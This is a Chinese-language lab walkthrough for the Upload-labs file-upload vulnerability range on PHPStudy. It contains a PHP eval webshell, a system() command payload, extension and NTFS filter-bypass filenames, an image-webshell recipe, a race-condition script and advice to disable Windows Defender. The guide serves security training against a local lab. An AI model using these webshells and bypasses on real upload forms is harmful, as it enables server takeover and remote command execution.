当前位置: 首页 > news >正文

PHPStudy环境下的Upload-labs靶场搭建到通关全指南(避坑版)

PHPStudy环境下Upload-labs靶场从搭建到通关的实战指南

环境准备与靶场部署

对于Web安全初学者而言,搭建一个本地实验环境是入门的第一步。PHPStudy作为Windows平台上一键式PHP集成环境,相比Docker更适合新手快速部署。以下是具体操作步骤:

  1. PHPStudy安装与配置

    • 从官网下载最新版PHPStudy(推荐V8.1版本)
    • 安装时建议选择非系统盘(如D:\phpstudy)
    • 启动后选择Apache+MySQL+PHP组合(PHP版本建议5.4.45nts)
  2. Upload-labs靶场部署

    git clone https://github.com/c0ny1/upload-labs.git cd upload-labs cp -r src/ D:/phpstudy/PHPTutorial/WWW/upload-labs

    注意:若使用Git Bash出现权限问题,可直接在资源管理器复制文件夹

  3. 常见问题处理

    • 777权限错误:右键upload-labs文件夹→属性→安全→编辑→添加Everyone用户并赋予完全控制权限
    • PHP版本兼容性:在PHPStudy面板切换PHP版本时,需同时修改Apache配置中的PHP模块路径

基础关卡突破技巧

关卡1-5:基础绕过手法

关卡1:前端验证绕过

  • 直接修改文件后缀无效时,使用Burp Suite拦截请求:
    POST /upload-labs/pass-01/index.php HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upload_file"; filename="shell.jpg" Content-Type: image/jpeg <?php @eval($_POST['cmd']); ?>
    关键点:保持Content-Type为image/jpeg同时上传PHP代码

关卡2:MIME类型验证

  • 合法MIME类型对照表:

    文件类型正确MIME类型
    JPEGimage/jpeg
    PNGimage/png
    GIFimage/gif

关卡3:黑名单绕过(1)

  • 使用非常规后缀:shell.php5,shell.phtml
  • Windows特性:shell.php:jpg(ADS流特性)

关卡6-10:高级绕过技术

关卡6:空格截断

  • 使用Burp修改文件名:
    filename="shell.php "

    注意:空格需要URL编码为%20

关卡7:点号截断

  • 适用于未使用deldot()函数的场景:
    filename="shell.php."

关卡8:NTFS特性利用

  • Windows特有的数据流特性:
    filename="shell.php::$DATA"

关卡9:复合截断

  • 组合使用点和空格:
    filename="shell.php. ."

关卡10:双写绕过

  • 当系统替换php为空时:
    filename="shell.pphphp"

进阶挑战解决方案

图片马与包含漏洞利用

制作图片马的三种方法:

  1. CMD命令合成

    copy /b test.jpg + shell.php webshell.jpg
  2. 十六进制编辑器

    • 使用010 Editor在图片尾部追加PHP代码
    • 保持原始图片文件头不变
  3. Exif注入

    exif_imagetype('shell.jpg'); // 配合<?php system($_GET['cmd']);?>注入

包含漏洞利用示例:

http://localhost/upload-labs/pass-13/include.php?file=upload/webshell.jpg

二次渲染绕过技巧

针对关卡16的GIF二次渲染,可通过以下步骤定位不变区域:

  1. 上传原始GIF图片获取渲染后版本
  2. 使用Beyond Compare进行二进制对比
  3. 在未修改区域插入代码:
    # 常见安全位置: - GIF文件头后(第20-30字节) - 文件结束前(倒数100字节内)

Windows系统特有问题处理

PHP版本差异解决方案

PHP版本%00截断其他特性
<5.3.4有效路径解析漏洞
≥5.3.4无效需改用其他方法

蚁剑连接配置要点

  1. 基础配置

    URL: http://localhost/upload-labs/upload/shell.php 连接密码: cmd(对应webshell中的$_POST['cmd']) 编码: UTF-8
  2. 常见错误处理

    • 连接超时:检查PHPStudy端口占用(netstat -ano)
    • 权限不足:修改upload目录权限为777
    • 杀软拦截:临时关闭Windows Defender实时保护

实战经验分享

在最近一次内部测试中,发现几个易忽略的细节:

  1. 关卡11的截断差异

    • GET型%00截断需直接输入
    • POST型需转换为%00的URL编码%2500
  2. 关卡17的竞争条件

    # 竞争攻击脚本示例 import requests while True: requests.get('http://localhost/upload-labs/upload/temp.php')

    配合Burp的Intruder持续上传可维持文件存在

  3. 环境迁移问题

    • 不同机器部署时注意修改config.php中的绝对路径
    • 数据库连接问题可注释掉相关检查代码

效率提升技巧

  1. Burp Suite宏配置

    • 设置自动修改文件名的宏操作
    • 保存请求模板复用
  2. 自定义字典

    // bypass_dictionary.txt shell.php. shell.php%20 shell.php::$DATA shell.jpg.php
  3. 自动化检测脚本

    def check_upload(url, filename): with open(filename, 'rb') as f: files = {'upload_file': f} r = requests.post(url, files=files) return 'upload success' in r.text

通过系统化的练习和这些技巧的应用,能够显著提升Web安全实战能力。建议每完成一个关卡后,仔细阅读源码中的防护逻辑,这对开发安全的文件上传功能同样具有参考价值。

http://www.jsqmd.com/news/485689/

相关文章:

  • SAP供应商冻结与删除操作全指南:从业务场景到Tcode实操
  • Qwen2.5-VL智慧城市应用:交通监控中的车辆行为分析
  • 避坑指南:Unity嵌入Android项目时常见的5大错误及解决方案
  • 解读北京合金焊材的品牌制造厂家,哪个口碑好 - 工业品牌热点
  • 保姆级教程:用webrtc-streamer(v0.8.12)实现RTSP/H264视频流网页播放(附Vue Demo)
  • EtherCAT总线在实时仿真机中的多场景应用(机器人控制与IO扩展实战)
  • 从任务管理器到内核驱动:深入解析Windows进程名获取的多种方法
  • 2026年电商客服系统选型指南:5家主流智能客服厂商深度解析 - 品牌2026
  • Alpamayo-R1-10B惊艳效果展示:64步高精度轨迹预测可视化作品集
  • PP-DocLayoutV3模型部署详解:从Docker镜像到RESTful API服务
  • 从概念到应用:深度解析SNOMED CT如何驱动医疗数据标准化与智能化
  • Qwen3系统安全加固:防止API滥用与字幕内容篡改的策略
  • 从洗衣机到无人机:PMSM速度环设计的5个工业应用避坑指南
  • Cosmos-Reason1-7B实战案例:物流分拣视频中包裹堆叠稳定性物理分析
  • 基于TPS3808G18DBVR的Jetson NX自动开机电路设计实践
  • Alibaba DASD-4B Thinking 对话工具在软件测试中的应用:自动化生成测试用例与对话脚本
  • 从偏差-方差权衡到GAE:揭秘PPO算法稳定训练背后的数学艺术
  • 变色湖水、泰加林、图瓦村落:这才是真正的喀纳斯
  • 基于ESP32-S3的开源四轴飞控平台设计与实现
  • Qwen3-VL-8B快速体验:无需网络,本地搭建多模态对话AI
  • 树莓派上快速搭建OpenCV开发环境的完整指南
  • DeerFlow应用案例:如何用AI助手快速完成市场调研与竞品分析
  • R语言实战:5分钟搞定GEO单细胞数据(scRNA-seq)下载与整理(附完整代码)
  • 答辩 PPT 不用熬:Paperzz AI PPT 生成器,把论文变成满分展示稿
  • CLIP-GmP-ViT-L-14作品分享:舞蹈动作图→术语解释/训练要点/文化背景文本关联
  • 5分钟解锁虚拟显示驱动:多场景配置与优化指南
  • 探索claude code skill在快马平台上的AI辅助开发新范式
  • 微信小程序SSE流式通信实战:从零封装到异常处理
  • DrissionPage内存泄漏排查指南:从入门到精准定位(附内存快照对比工具)
  • 从表决电路到FPGA实现:数据选择器与译码器的Verilog实战